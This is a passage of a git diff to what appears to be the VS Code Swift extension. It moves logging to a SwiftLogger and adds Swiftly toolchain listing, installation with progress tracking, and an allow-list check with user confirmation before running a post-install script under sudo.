a/src/toolchain/SelectedXcodeWatcher.ts +++ b/src/toolchain/SelectedXcodeWatcher.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as fs from "fs/promises"; import * as vscode from "vscode"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; -import { showReloadExtensionNotification } from "../ui/ReloadExtension"; + import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { showReloadExtensionNotification } from "../ui/ReloadExtension"; import { removeToolchainPath, selectToolchain } from "../ui/ToolchainSelection"; export class SelectedXcodeWatcher implements vscode.Disposable { @@ -30,7 +30,7 @@ export class SelectedXcodeWatcher implements vscode.Disposable { private static XCODE_SYMLINK_LOCATION = "/var/select/developer_dir"; constructor( - private outputChannel: SwiftOutputChannel, + private logger: SwiftLogger, testDependencies?: { checkIntervalMs?: number; xcodeSymlink?: () => Promise; @@ -67,6 +67,7 @@ export class SelectedXcodeWatcher implements vscode.Disposable { */ private async setup() { this.xcodePath = await this.xcodeSymlink(); + this.logger.debug(`Initial Xcode symlink path ${this.xcodePath}`); const developerDir = () => configuration.swiftEnvironmentVariables["DEVELOPER_DIR"]; const matchesPath = (xcodePath: string) => configuration.path && configuration.path.startsWith(xcodePath); @@ -85,7 +86,7 @@ export class SelectedXcodeWatcher implements vscode.Disposable { const newXcodePath = await this.xcodeSymlink(); if (newXcodePath && this.xcodePath !== newXcodePath) { - this.outputChannel.appendLine( + this.logger.info( `Selected Xcode changed from ${this.xcodePath} to ${newXcodePath}` ); this.xcodePath = newXcodePath; diff --git a/src/toolchain/swiftly.ts b/src/toolchain/swiftly.ts index 1e2843cd8..d6dd9aa29 100644 --- a/src/toolchain/swiftly.ts +++ b/src/toolchain/swiftly.ts @@ -11,36 +11,91 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as path from "path"; -import { SwiftlyConfig } from "./ToolchainVersion"; +import { ExecFileOptions } from "child_process"; +import * as fsSync from "fs"; import * as fs from "fs/promises"; -import { execFile, ExecFileError } from "../utilities/utilities"; +import * as os from "os"; +import * as path from "path"; +import * as readline from "readline"; +import * as Stream from "stream"; import * as vscode from "vscode"; +import { z } from "zod/v4/mini"; + +import { withAskpassServer } from "../askpass/askpass-server"; +import { installSwiftlyToolchainWithProgress } from "../commands/installSwiftlyToolchain"; +import { ContextKeys } from "../contextKeys"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { showMissingToolchainDialog } from "../ui/ToolchainSelection"; +import { touch } from "../utilities/filesystem"; +import { findBinaryPath } from "../utilities/shell"; +import { ExecFileError, execFile, execFileStreamOutput } from "../utilities/utilities"; import { Version } from "../utilities/version"; -import { z } from "zod"; +import { SwiftlyConfig } from "./ToolchainVersion"; + +const SystemVersion = z.object({ + type: z.literal("system"), + name: z.string(), +}); +export type SystemVersion = z.infer; + +const StableVersion = z.object({ + type: z.literal("stable"), + name: z.string(), + + major: z.number(), + minor: z.number(), + patch: z.number(), +}); +export type StableVersion = z.infer; + +const SnapshotVersion = z.object({ + type: z.literal("snapshot"), + name: z.string(), + + major: z.optional(z.number()), + minor: z.optional(z.number()), + branch: z.string(), + date: z.string(), +}); +export type SnapshotVersion = z.infer; + +export type ToolchainVersion = SystemVersion | StableVersion | SnapshotVersion; -const ListResult = z.object({ +export interface AvailableToolchain { + inUse: boolean; + installed: boolean; + isDefault: boolean; + version: ToolchainVersion; +} + +const SwiftlyListResult = z.object({ toolchains: z.array( z.object({ inUse: z.boolean(), isDefault: z.boolean(), - version: z.discriminatedUnion("type", [ - z.object({ - major: z.number().optional(), - minor: z.number().optional(), - patch: z.number().optional(), - name: z.string(), - type: z.literal("stable"), - }), - z.object({ - major: z.number().optional(), - minor: z.number().optional(), - branch: z.string(), - date: z.string(), - name: z.string(), - type: z.literal("snapshot"), - }), + version: z.union([ + SystemVersion, + StableVersion, + SnapshotVersion, + // Allow matching against unexpected future version types + z.object(), + ]), + }) + ), +}); + +const SwiftlyListAvailableResult = z.object({ + toolchains: z.array( + z.object({ + inUse: z.boolean(), + installed: z.boolean(), + isDefault: z.boolean(), + version: z.union([ + SystemVersion, + StableVersion, + SnapshotVersion, + // Allow matching against unexpected future version types + z.object(), ]), }) ), @@ -50,16 +105,90 @@ const InUseVersionResult = z.object({ version: z.string(), }); +const SwiftlyProgressData = z.object({ + complete: z.optional( + z.object({ + success: z.boolean(), + }) + ), + step: z.optional( + z.object({ + text: z.string(), + percent: z.number(), + }) + ), +}); + +export type SwiftlyProgressData = z.infer; + +export interface PostInstallValidationResult { + isValid: boolean; + summary: string; + invalidCommands?: string[]; +} + +export interface MissingToolchainError { + version: string; + originalError: string; +} + +/** + * Parses Swiftly error message to detect missing toolchain scenarios + * @param stderr The stderr output from swiftly command + * @returns MissingToolchainError if this is a missing toolchain error, undefined otherwise + */ +export function parseSwiftlyMissingToolchainError( + stderr: string +): MissingToolchainError | undefined { + // Parse error message like: "uses toolchain version 6.1.2, but it doesn't match any of the installed toolchains" + const versionMatch = stderr.match(/uses toolchain version ([0-9.]+(?:-[a-zA-Z0-9-]+)*)/); + if (versionMatch && stderr.includes("doesn't match any of the installed toolchains")) { + return { + version: versionMatch[1], + originalError: stderr, + }; + } + return undefined; +} + +/** + * Attempts to automatically install a missing Swiftly toolchain with user consent + * @param version The toolchain version to install + * @param logger Optional logger for error reporting + * @param folder Optional folder context + * @param token Optional cancellation token to abort the installation + * @returns Promise true if toolchain was successfully installed, false otherwise + */ +export async function handleMissingSwiftlyToolchain( + version: string, + extensionRoot: string, + logger?: SwiftLogger, + folder?: vscode.Uri +): Promise { + logger?.info(`Attempting to handle missing toolchain: ${version}`); + + // Ask user for permission + const userConsent = await showMissingToolchainDialog(version, folder); + if (!userConsent) { + logger?.info(`User declined to install missing toolchain: ${version}`); + return false; + } + + // Use the existing installation function without showing reload notification + // (since we want to continue the current operation) + return await installSwiftlyToolchainWithProgress(version, extensionRoot, logger); +} + export class Swiftly { + public static cancellationMessage = "Installation cancelled by user"; + /** * Finds the version of Swiftly installed on the system. * * @returns the version of Swiftly as a `Version` object, or `undefined` * if Swiftly is not installed or not supported. */ - public static async version( - outputChannel?: vscode.OutputChannel - ): Promise { + public static async version(logger?: SwiftLogger): Promise { if (!Swiftly.isSupported()) { return undefined; } @@ -67,7 +196,7 @@ export class Swiftly { const { stdout } = await execFile("swiftly", ["--version"]); return Version.fromString(stdout.trim()); } catch (error) { - outputChannel?.appendLine(`Failed to retrieve Swiftly version: ${error}`); + logger?.error(`Failed to retrieve Swiftly version: ${error}`); return undefined; } } @@ -77,9 +206,7 @@ export class Swiftly { * * @returns `true` if JSON output is supported, `false` otherwise. */ - private static async supportsJsonOutput( - outputChannel?: vscode.OutputChannel - ): Promise { + private static async supportsJsonOutput(logger?: SwiftLogger): Promise { if (!Swiftly.isSupported()) { return false; } @@ -88,49 +215,52 @@ export class Swiftly { const version = Version.fromString(stdout.trim()); return version?.isGreaterThanOrEqual(new Version(1, 1, 0)) ?? false; } catch (error) { - outputChannel?.appendLine(`Failed to check Swiftly JSON support: ${error}`); + logger?.error(`Failed to check Swiftly JSON support: ${error}`); return false; } } /** - * Finds the list of toolchains managed by Swiftly. + * Finds the list of toolchains installed via Swiftly. * - * @returns an array of toolchain paths + * Toolchains will be sorted by version number in descending order. + * + * @returns an array of toolchain version names. */ - public static async listAvailableToolchains( - outputChannel?: vscode.OutputChannel - ): Promise { + public static async list(logger?: SwiftLogger): Promise { if (!this.isSupported()) { return []; } - const version = await Swiftly.version(outputChannel); + const version = await Swiftly.version(logger); if (!version) { - outputChannel?.appendLine("Swiftly is not installed"); + logger?.warn("Swiftly is not installed"); return []; } - if (!(await Swiftly.supportsJsonOutput(outputChannel))) { - return await Swiftly.getToolchainInstallLegacy(outputChannel); + if (!(await Swiftly.supportsJsonOutput(logger))) { + return await Swiftly.listFromSwiftlyConfig(logger); } - return await Swiftly.getListAvailableToolchains(outputChannel); + return await Swiftly.listUsingJSONFormat(logger); } - private static async getListAvailableToolchains( - outputChannel?: vscode.OutputChannel - ): Promise { + private static async listUsingJSONFormat(logger?: SwiftLogger): Promise { try { const { stdout } = await execFile("swiftly", ["list", "--format=json"]); - const response = ListResult.parse(JSON.parse(stdout)); - return response.toolchains.map(t => t.version.name); + return SwiftlyListResult.parse(JSON.parse(stdout)) + .toolchains.map(toolchain => toolchain.version) + .filter((version): version is ToolchainVersion => + ["system", "stable", "snapshot"].includes(version.type) + ) + .sort(compareSwiftlyToolchainVersion) + .map(version => version.name); } catch (error) { - outputChannel?.appendLine(`Failed to retrieve Swiftly installations: ${error}`); + logger?.error(`Failed to retrieve Swiftly installations: ${error}`); return []; } } - private static async getToolchainInstallLegacy(outputChannel?: vscode.OutputChannel) { + private static async listFromSwiftlyConfig(logger?: SwiftLogger) { try { const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; if (!swiftlyHomeDir) { @@ -144,21 +274,36 @@ export class Swiftly { if (!Array.isArray(installedToolchains)) { return []; } - return installedToolchains - .filter((toolchain): toolchain is string => typeof toolchain === "string") - .map(toolchain => path.join(swiftlyHomeDir, "toolchains", toolchain)); + return ( + installedToolchains + .filter((toolchain): toolchain is string => typeof toolchain === "string") + // Sort alphabetically in descending order. + // + // This isn't perfect (e.g. "5.10" will come before "5.9"), but this is + // good enough for legacy support. + .sort((lhs, rhs) => rhs.localeCompare(lhs)) + ); } catch (error) { - outputChannel?.appendLine(`Failed to retrieve Swiftly installations: ${error}`); + logger?.error(`Failed to retrieve Swiftly installations: ${error}`); throw new Error( `Failed to retrieve Swiftly installations from disk: ${(error as Error).message}` ); } } - private static isSupported() { + /** + * Checks whether or not the current operating system supports Swiftly. + */ + public static isSupported() { return process.platform === "linux" || process.platform === "darwin"; } + /** + * Retrieves the location of the toolchain that is currently in use by Swiftly. + * + * @param swiftlyPath Optional path to the Swiftly binary. + * @param cwd Optional current working directory to check within. + */ public static async inUseLocation(swiftlyPath: string = "swiftly", cwd?: vscode.Uri) { const { stdout: inUse } = await execFile(swiftlyPath, ["use", "--print-location"], { cwd: cwd?.fsPath, @@ -166,6 +311,12 @@ export class Swiftly { return inUse.trimEnd(); } + /** + * Retrieves the version name of the toolchain that is currently in use by Swiftly. + * + * @param swiftlyPath Optional path to the Swiftly binary. + * @param cwd Optional current working directory to check within. + */ public static async inUseVersion( swiftlyPath: string = "swiftly", cwd?: vscode.Uri @@ -185,20 +336,37 @@ export class Swiftly { return result.version; } - public static async use(version: string): Promise { + /** + * Instructs Swiftly to use a specific version of the Swift toolchain. + * + * @param version The version name to use. Obtainable via {@link Swiftly.list}. + * @param [cwd] Optional working directory to set the toolchain within. + */ + public static async use(version: string, cwd?: string): Promise { if (!this.isSupported()) { throw new Error("Swiftly is not supported on this platform"); } - await execFile("swiftly", ["use", version]); + const useArgs = ["use", "-y"]; + const options: ExecFileOptions = {}; + if (cwd) { + options.cwd = cwd; + await touch(path.join(cwd, ".swift-version")); + } else { + useArgs.push("--global-default"); + } + useArgs.push(version); + await execFile("swiftly", useArgs, options); } /** * Determine if Swiftly is being used to manage the active toolchain and if so, return * the path to the active toolchain. + * * @returns The location of the active toolchain if swiftly is being used to manage it. */ public static async toolchain( - outputChannel?: vscode.OutputChannel, + extensionRoot: string, + logger?: SwiftLogger, cwd?: vscode.Uri ): Promise { const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; @@ -214,9 +382,42 @@ export class Swiftly { return path.join(inUse, "usr"); } } catch (err: unknown) { - outputChannel?.appendLine(`Failed to retrieve Swiftly installations: ${err}`); + logger?.error(`Failed to retrieve Swiftly installations: ${err}`); const error = err as ExecFileError; - // Its possible the toolchain in .swift-version is misconfigured or doesn't exist. + + // Check if this is a missing toolchain error + const missingToolchainError = parseSwiftlyMissingToolchainError(error.stderr); + if (missingToolchainError) { + // Attempt automatic installation + const installed = await handleMissingSwiftlyToolchain( + missingToolchainError.version, + extensionRoot, + logger, + cwd + ); + + if (installed) { + // Retry toolchain location after successful installation + try { + const retryInUse = await Swiftly.inUseLocation("swiftly", cwd); + if (retryInUse.length > 0) { + return path.join(retryInUse, "usr"); + } + } catch (retryError) { + logger?.error( + `Failed to use toolchain after installation: ${retryError}` + ); + } + } else { + // User declined installation - gracefully fall back to global toolchain + logger?.info( + `Falling back to global toolchain after user declined installation of missing toolchain: ${missingToolchainError.version}` + ); + return undefined; + } + } + + // Fall back to original error handling for non-missing-toolchain errors void vscode.window.showErrorMessage( `Failed to load toolchain from Swiftly: ${error.stderr}` ); @@ -226,6 +427,455 @@ export class Swiftly { return undefined; } + /** + * Lists all toolchains available for installation from swiftly. + * + * Toolchains will be sorted by version number in descending order. + * + * @param branch Optional branch to filter available toolchains (e.g., "main" for snapshots). + * @param logger Optional logger for error reporting. + * @returns Array of available toolchains. + */ + public static async listAvailable( + branch?: string, + logger?: SwiftLogger + ): Promise { + if (!this.isSupported()) { + return []; + } + + const version = await Swiftly.version(logger); + if (!version) { + logger?.warn("Swiftly is not installed"); + return []; + } + + if (!(await Swiftly.supportsJsonOutput(logger))) { + logger?.warn("Swiftly version does not support JSON output for list-available"); + return []; + } + + try { + const args = ["list-available", "--format=json"]; + if (branch) { + args.push(branch); + } + const { stdout: availableStdout } = await execFile("swiftly", args); + return SwiftlyListAvailableResult.parse(JSON.parse(availableStdout)) + .toolchains.filter((t): t is AvailableToolchain => + ["system", "stable", "snapshot"].includes(t.version.type) + ) + .sort(compareSwiftlyToolchain); + } catch (error) { + logger?.error(`Failed to retrieve available Swiftly toolchains: ${error}`); + return []; + } + } + + /** + * Installs a toolchain via swiftly with optional progress tracking. + * + * @param version The toolchain version to install. + * @param progressCallback Optional callback that receives progress data as JSON objects. + * @param logger Optional logger for error reporting. + * @param token Optional cancellation token to abort the installation. + */ + public static async installToolchain( + version: string, + extensionRoot: string, + progressCallback?: (progressData: SwiftlyProgressData) => void, + logger?: SwiftLogger, + token?: vscode.CancellationToken + ): Promise { + if (!this.isSupported()) { + throw new Error("Swiftly is not supported on this platform"); + } + + logger?.info(`Installing toolchain ${version} via swiftly`); + + const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "vscode-swift-")); + const postInstallFilePath = path.join(tmpDir, `post-install-${version}.sh`); + + let progressPipePath: string | undefined; + let progressPromise: Promise | undefined; + + if (progressCallback) { + progressPipePath = path.join(tmpDir, `progress-${version}.pipe`); + + await execFile("mkfifo", [progressPipePath]); + + progressPromise = new Promise((resolve, reject) => { + const rl = readline.createInterface({ + input: fsSync.createReadStream(progressPipePath!), + crlfDelay: Infinity, + }); + + // Handle cancellation during progress tracking + const cancellationHandler = token?.onCancellationRequested(() => { + rl.close(); + reject(new Error(Swiftly.cancellationMessage)); + }); + + rl.on("line", (line: string) => { + if (token?.isCancellationRequested) { + rl.close(); + return; + } + + try { + const progressData = SwiftlyProgressData.parse(JSON.parse(line)); + progressCallback(progressData); + } catch (error) { + logger?.error( + new Error(`Failed to parse Swiftly progress: ${line}`, { cause: error }) + ); + } + }); + + rl.on("close", () => { + cancellationHandler?.dispose(); + resolve(); + }); + + rl.on("error", err => { + cancellationHandler?.dispose(); + reject(err); + }); + }); + } + + const installArgs = [ + "install", + version, + "--assume-yes", + "--post-install-file", + postInstallFilePath, + ]; + + if (progressPipePath) { + installArgs.push("--progress-file", progressPipePath); + } + + try { + // Create output streams for process output + const stdoutStream = new Stream.PassThrough(); + const stderrStream = new Stream.PassThrough(); + + // Use execFileStreamOutput with cancellation token + const installPromise = execFileStreamOutput( + "swiftly", + installArgs, + stdoutStream, + stderrStream, + token || null, + {} + ); + + if (progressPromise) { + await Promise.race([ + Promise.all([installPromise, progressPromise]), + new Promise((_, reject) => { + if (token) { + token.onCancellationRequested(() => + reject(new Error(Swiftly.cancellationMessage)) + ); + } + }), + ]); + } else { + await installPromise; + } + + // Check for cancellation before post-install + if (token?.isCancellationRequested) { + throw new Error(Swiftly.cancellationMessage); + } + + if (process.platform === "linux") { + await this.handlePostInstallFile( + postInstallFilePath, + version, + extensionRoot, + logger + ); + } + } catch (error) { + if ( + token?.isCancellationRequested || + (error as Error).message.includes(Swiftly.cancellationMessage) + ) { + logger?.info(`Installation of ${version} was cancelled by user`); + throw new Error(Swiftly.cancellationMessage); + } + throw error; + } finally { + if (progressPipePath) { + try { + await fs.unlink(progressPipePath); + } catch { + // Ignore errors - file may not exist + } + } + + // Clean up post-install file + try { + await fs.unlink(postInstallFilePath); + } catch { + // Ignore errors - file may not exist + } + + if (token?.isCancellationRequested) { + logger?.info(`Cleaned up temporary files for cancelled installation of ${version}`); + } + } + } + + /** + * Handles post-install file created by swiftly installation (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private static async handlePostInstallFile( + postInstallFilePath: string, + version: string, + extensionRoot: string, + logger?: SwiftLogger + ): Promise { + try { + await fs.access(postInstallFilePath); + } catch { + logger?.info(`No post-install steps required for toolchain ${version}`); + return; + } + + logger?.info(`Post-install file found for toolchain ${version}`); + + const validation = await this.validatePostInstallScript(postInstallFilePath, logger); + + if (!validation.isValid) { + const errorMessage = `Post-install script contains unsafe commands. Invalid commands: ${validation.invalidCommands?.join(", ")}`; + logger?.error(errorMessage); + void vscode.window.showErrorMessage( + `Installation of Swift ${version} requires additional system packages, but the post-install script contains commands that are not allowed for security reasons.` + ); + return; + } + + const shouldExecute = await this.showPostInstallConfirmation(version, validation, logger); + + if (shouldExecute) { + await this.executePostInstallScript( + postInstallFilePath, + version, + extensionRoot, + logger + ); + } else { + logger?.warn(`Swift ${version} post-install script execution cancelled by user`); + void vscode.window.showWarningMessage( + `Swift ${version} installation is incomplete. You may need to manually install additional system packages.` + ); + } + } + + /** + * Validates post-install script commands against allow-list patterns. + * Supports apt-get and yum package managers only. + * + * @param postInstallFilePath Path to the post-install script + * @param logger Optional logger for error reporting + * @returns Validation result with command summary + */ + private static async validatePostInstallScript( + postInstallFilePath: string, + logger?: SwiftLogger + ): Promise { + try { + const scriptContent = await fs.readFile(postInstallFilePath, "utf-8"); + const lines = scriptContent + .split("\n") + .filter(line => line.trim() && !line.trim().startsWith("#")); + + const allowedPatterns = [ + /^apt-get\s+-y\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // apt-get -y install packages + /^yum\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // yum install packages + /^\s*$|^#.*$/, // empty lines and comments + ]; + + const invalidCommands: string[] = []; + const packageInstallCommands: string[] = []; + + for (const line of lines) { + const trimmedLine = line.trim(); + if (!trimmedLine) { + continue; + } + + const isValid = allowedPatterns.some(pattern => pattern.test(trimmedLine)); + + if (!isValid) { + invalidCommands.push(trimmedLine); + } else if (trimmedLine.includes("install")) { + packageInstallCommands.push(trimmedLine); + } + } + + const isValid = invalidCommands.length === 0; + + let summary = "The script will perform the following actions:\n"; + if (packageInstallCommands.length > 0) { + summary += `• Install system packages using package manager\n`; + summary += `• Commands: ${packageInstallCommands.join("; ")}`; + } else { + summary += "• No package installations detected"; + } + + return { + isValid, + summary, + invalidCommands: invalidCommands.length > 0 ? invalidCommands : undefined, + }; + } catch (error) { + logger?.error(`Failed to validate post-install script: ${error}`); + return { + isValid: false, + summary: "Failed to read post-install script", + invalidCommands: ["Unable to read script file"], + }; + } + } + + /** + * Shows confirmation dialog to user for executing post-install script + * + * @param version The toolchain version being installed + * @param validation The validation result + * @param logger + * @returns Promise resolving to user's decision + */ + private static async showPostInstallConfirmation( + version: string, + validation: PostInstallValidationResult, + logger?: SwiftLogger + ): Promise { + const summaryLines = validation.summary.split("\n"); + const firstTwoLines = summaryLines.slice(0, 2).join("\n"); + + const message = + `Swift ${version} installation requires additional system packages to be installed. ` + + `This will require administrator privileges.\n\n${firstTwoLines}\n\n` + + `Do you want to proceed with running the post-install script?`; + + logger?.warn( + `User confirmation required to execute post-install script for Swift ${version} installation, + this requires ${firstTwoLines} permissions.` + ); + const choice = await vscode.window.showWarningMessage( + message, + { modal: true }, + "Execute Script", + "Cancel" + ); + + return choice === "Execute Script"; + } + + /** + * Executes post-install script with elevated permissions (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private static async executePostInstallScript( + postInstallFilePath: string, + version: string, + extensionRoot: string, + logger?: SwiftLogger + ): Promise { + logger?.info(`Executing post-install script for toolchain ${version}`); + + const outputChannel = vscode.window.createOutputChannel(`Swift ${version} Post-Install`); + + try { + outputChannel.show(true); + outputChannel.appendLine(`Executing post-install script for Swift ${version}...`); + outputChannel.appendLine(`Script location: ${postInstallFilePath}`); + outputChannel.appendLine("Script contents:"); + const scriptContents = await fs.readFile(postInstallFilePath, "utf-8"); + for (const line of scriptContents.split(/\r?\n/)) { + outputChannel.appendLine(" " + line); + } + outputChannel.appendLine(""); + + await execFile("chmod", ["+x", postInstallFilePath]); + + const command = "sudo"; + const args = [postInstallFilePath]; + + outputChannel.appendLine(`Executing: ${command} ${args.join(" ")}`); + outputChannel.appendLine(""); + + const outputStream = new Stream.Writable({ + write(chunk, _encoding, callback) { + const text = chunk.toString(); + outputChannel.append(text); + callback(); + }, + }); + + await withAskpassServer( + async (nonce, port) => { + await execFileStreamOutput( + command, + ["-A", ...args], + outputStream, + outputStream, + null, + { + env: { + ...process.env, + SUDO_ASKPASS: path.join(extensionRoot, "assets/swift_askpass.sh"), + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: path.join( + extensionRoot, + "dist/src/askpass/askpass-main.js" + ), + VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + } + ); + }, + { title: "sudo password for Swiftly post-install script" } + ); + + outputChannel.appendLine(""); + outputChannel.appendLine( + `Post-install script completed successfully for Swift ${version}` + ); + + void vscode.window.showInformationMessage( + `Swift ${version} post-install script executed successfully. Additional system packages have been installed.` + ); + } catch (error) { + logger?.error(Error("Failed to execute post-install script", { cause: error })); + void vscode.window + .showErrorMessage( + `Failed to execute post-install script for Swift ${version}. See command output for more details.`, + "Show Command Output" + ) + .then(selected => { + if (!selected) { + return; + } + outputChannel.show(); + }); + } + } + /** * Reads the Swiftly configuration file, if it exists. * @@ -242,4 +892,81 @@ export class Swiftly { ); return JSON.parse(swiftlyConfigRaw); } + + /** + * Checks whether or not Swiftly is installed on the current system. + */ + public static async isInstalled(): Promise { + if (!this.isSupported()) { + return false; + } + try { + await findBinaryPath("swiftly"); + return true; + } catch (error) { + return false; + } + } +} + +/** + * Checks whether or not Swiftly is installed and updates context keys appropriately. + */ +export function checkForSwiftlyInstallation(contextKeys: ContextKeys, logger: SwiftLogger): void { + contextKeys.supportsSwiftlyInstall = false; + if (!Swiftly.isSupported()) { + logger.debug(`Swiftly is not available on ${process.platform}`); + return; + } + // Don't block while checking the Swiftly insallation. + void Swiftly.isInstalled().then(async isInstalled => { + if (!isInstalled) { + logger.debug("Swiftly is not installed on this system."); + return; + } + const version = await Swiftly.version(logger); + if (!version) { + logger.warn("Unable to determine Swiftly version."); + return; + } + logger.debug(`Detected Swiftly version ${version}.`); + contextKeys.supportsSwiftlyInstall = version.isGreaterThanOrEqual({ + major: 1, + minor: 1, + patch: 0, + }); + }); +} + +function compareSwiftlyToolchain(lhs: AvailableToolchain, rhs: AvailableToolchain): number { + return compareSwiftlyToolchainVersion(lhs.version, rhs.version); +} + +function compareSwiftlyToolchainVersion(lhs: ToolchainVersion, rhs: ToolchainVersion): number { + switch (lhs.type) { + case "system": { + if (rhs.type === "system") { + return lhs.name.localeCompare(rhs.name); + } + return -1; + } + case "stable": { + if (rhs.type === "stable") { + const lhsVersion = new Version(lhs.major, lhs.minor, lhs.patch); + const rhsVersion = new Version(rhs.major, rhs.minor, rhs.patch); + return rhsVersion.compare(lhsVersion); + } + if (rhs.type === "system") { + return 1; + } + return -1; + } + case "snapshot": + if (rhs.type === "snapshot") { + const lhsDate = new Date(lhs.date); + const rhsDate = new Date(rhs.date); + return rhsDate.getTime() - lhsDate.getTime(); + } + return 1; + } } diff --git a/src/toolchain/toolchain.ts b/src/toolchain/toolchain.ts index 6914d037e..174bd5e12 100644 --- a/src/toolchain/toolchain.ts +++ b/src/toolchain/toolchain.ts @@ -11,21 +11,23 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as fs from "fs/promises"; -import * as path from "path"; import * as os from "os"; +import * as path from "path"; import * as plist from "plist"; import * as vscode from "vscode"; + import configuration from "../configuration"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; -import { execFile, execSwift } from "../utilities/utilities"; +import { SwiftLogger } from "../logging/SwiftLogger"; import { expandFilePathTilde, fileExists, pathExists } from "../utilities/filesystem"; +import { findBinaryPath } from "../utilities/shell"; +import { lineBreakRegex } from "../utilities/tasks"; +import { execFile, execSwift } from "../utilities/utilities"; import { Version } from "../utilities/version"; import { BuildFlags } from "./BuildFlags"; import { Sanitizer } from "./Sanitizer"; -import { lineBreakRegex } from "../utilities/tasks"; import { Swiftly } from "./swiftly"; + /** * Contents of **Info.plist** on Windows. */ @@ -119,16 +121,23 @@ export class SwiftToolchain { } static async create( + extensionRoot: string, folder?: vscode.Uri, - outputChannel?: vscode.OutputChannel + logger?: SwiftLogger ): Promise { const { path: swiftFolderPath, isSwiftlyManaged } = await this.getSwiftFolderPath( folder, - outputChannel + logger + ); + const toolchainPath = await this.getToolchainPath( + swiftFolderPath, + extensionRoot, + folder, + logger ); - const toolchainPath = await this.getToolchainPath(swiftFolderPath, folder, outputChannel); const targetInfo = await this.getSwiftTargetInfo( - this._getToolchainExecutable(toolchainPath, "swift") + this._getToolchainExecutable(toolchainPath, "swift"), + logger ); const swiftVersion = this.getSwiftVersion(targetInfo); const [runtimePath, defaultSDK] = await Promise.all([ @@ -142,13 +151,15 @@ export class SwiftToolchain { swiftFolderPath, swiftVersion, runtimePath, - customSDK ?? defaultSDK + customSDK ?? defaultSDK, + logger ), this.getSwiftTestingPath( targetInfo, swiftVersion, runtimePath, - customSDK ?? defaultSDK + customSDK ?? defaultSDK, + logger ), this.getSwiftPMTestingHelperPath(toolchainPath), ]); @@ -496,6 +507,7 @@ export class SwiftToolchain { let str = ""; str += this.swiftVersionString; str += `\nPlatform: ${process.platform}`; + str += `\nVS Code Version: ${vscode.version}`; str += `\nSwift Path: ${this.swiftFolderPath}`; str += `\nToolchain Path: ${this.toolchainPath}`; if (this.runtimePath) { @@ -516,13 +528,13 @@ export class SwiftToolchain { return str; } - logDiagnostics(channel: SwiftOutputChannel) { - channel.logDiagnostic(this.diagnostics); + logDiagnostics(logger: SwiftLogger) { + logger.debug(this.diagnostics); } private static async getSwiftFolderPath( cwd?: vscode.Uri, - outputChannel?: vscode.OutputChannel + logger?: SwiftLogger ): Promise<{ path: string; isSwiftlyManaged: boolean }> { try { let swift: string; @@ -548,21 +560,7 @@ export class SwiftToolchain { break; } default: { - // use `type swift` to find `swift`. Run inside /bin/sh to ensure - // we get consistent output as different shells output a different - // format. Tried running with `-p` but that is not available in /bin/sh - const { stdout, stderr } = await execFile("/bin/sh", [ - "-c", - "LC_MESSAGES=C type swift", - ]); - const swiftMatch = /^swift is (.*)$/.exec(stdout.trimEnd()); - if (swiftMatch) { - swift = swiftMatch[1]; - } else { - throw Error( - `/bin/sh -c LC_MESSAGES=C type swift: stdout: ${stdout}, stderr: ${stderr}` - ); - } + swift = await findBinaryPath("swift"); break; } } @@ -588,7 +586,7 @@ export class SwiftToolchain { isSwiftlyManaged, }; } catch (error) { - outputChannel?.appendLine(`Failed to find swift executable: ${error}`); + logger?.error(`Failed to find swift executable: ${error}`); throw Error("Failed to find swift executable"); } } @@ -623,8 +621,9 @@ export class SwiftToolchain { */ private static async getToolchainPath( swiftPath: string, + extensionRoot: string, cwd?: vscode.Uri, - channel?: vscode.OutputChannel + logger?: SwiftLogger ): Promise { try { switch (process.platform) { @@ -645,7 +644,11 @@ export class SwiftToolchain { return path.dirname(configuration.path); } - const swiftlyToolchainLocation = await Swiftly.toolchain(channel, cwd); + const swiftlyToolchainLocation = await Swiftly.toolchain( + extensionRoot, + logger, + cwd + ); if (swiftlyToolchainLocation) { return swiftlyToolchainLocation; } @@ -749,7 +752,8 @@ export class SwiftToolchain { targetInfo: SwiftTargetInfo, swiftVersion: Version, runtimePath: string | undefined, - sdkroot: string | undefined + sdkroot: string | undefined, + logger?: SwiftLogger ): Promise { if (process.platform !== "win32") { return undefined; @@ -759,7 +763,8 @@ export class SwiftToolchain { targetInfo, swiftVersion, runtimePath, - sdkroot + sdkroot, + logger ); } @@ -775,7 +780,8 @@ export class SwiftToolchain { swiftFolderPath: string, swiftVersion: Version, runtimePath: string | undefined, - sdkroot: string | undefined + sdkroot: string | undefined, + logger?: SwiftLogger ): Promise { switch (process.platform) { case "darwin": { @@ -793,7 +799,8 @@ export class SwiftToolchain { targetInfo, swiftVersion, runtimePath, - sdkroot + sdkroot, + logger ); } } @@ -805,7 +812,8 @@ export class SwiftToolchain { targetInfo: SwiftTargetInfo, swiftVersion: Version, runtimePath: string | undefined, - sdkroot: string | undefined + sdkroot: string | undefined, + logger?: SwiftLogger ): Promise { // look up runtime library directory for XCTest/Testing alternatively const fallbackPath = @@ -838,9 +846,7 @@ export class SwiftToolchain { const plistKey = type === "XCTest" ? "XCTEST_VERSION" : "SWIFT_TESTING_VERSION"; const version = infoPlist.DefaultProperties[plistKey]; if (!version) { - new SwiftOutputChannel("swift").appendLine( - `Warning: ${platformManifest} is missing the ${plistKey} key.` - ); + logger?.warn(`${platformManifest} is missing the ${plistKey} 